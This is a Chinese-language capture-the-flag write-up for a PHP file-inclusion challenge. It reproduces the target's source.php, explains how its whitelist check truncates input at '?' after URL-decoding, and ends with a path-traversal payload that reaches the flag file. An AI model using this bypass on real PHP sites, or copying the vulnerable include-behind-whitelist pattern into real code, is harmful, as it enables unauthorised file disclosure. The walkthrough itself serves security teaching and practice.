01、题目简介
02、解题步骤
启动并访问靶机
查看网页源代码,发现可能存在隐藏文件source.php

访问source.php,发现存在大量源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>看到里面分别有source.php和hint.php,我们这里访问一下hint.php看一下

整体结构大致是实现了一个带有“安全检查”的文件包含功能,只有当 file 参数经过 checkFile 校验通过后,才会 include 这个文件
<?php
highlight_file(__FILE__); // 输出当前文件自身的源码(高亮显示)
class emmm { ... } // 定义了一个类,包含静态方法 checkFile
if (! empty($_REQUEST['file']) // 接收 GET 或 POST 中的 file 参数
&& is_string($_REQUEST['file']) // 必须是字符串
&& emmm::checkFile($_REQUEST['file']) // 通过白名单检查
) {
include $_REQUEST['file']; // 包含该文件
exit;
} else {
echo "<br><img src=\"...\" />"; // 失败时显示一张图片
}checkFile该方法接收一个 &$page,先判断参数是否存在且为字符串,否则返回 false
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 白名单数组如果 $page 的值直接等于 "source.php" 或 "hint.php",则通过。
if (in_array($page, $whitelist)) {
return true;
}允许用户传入 source.php?任意内容,实际截取 ? 前部分 source.php 来匹配白名单。这样可以包含 source.php 并可能传递查询参数
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);先对 $page 进行 URL 解码(urldecode),然后再次用相同方式截取第一个 ? 之前的部分,最后判断截取后的值是否在白名单中。
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}通过上面我们所获取的信息,我们对于绕过并获取flag已经有思路了,通过file已经白名单进行绕过,所以就能构造payload了
?file=hint.php?../../../../../ffffllllaaaagggg/?file=source.php?../../../../../ffffllllaaaagggg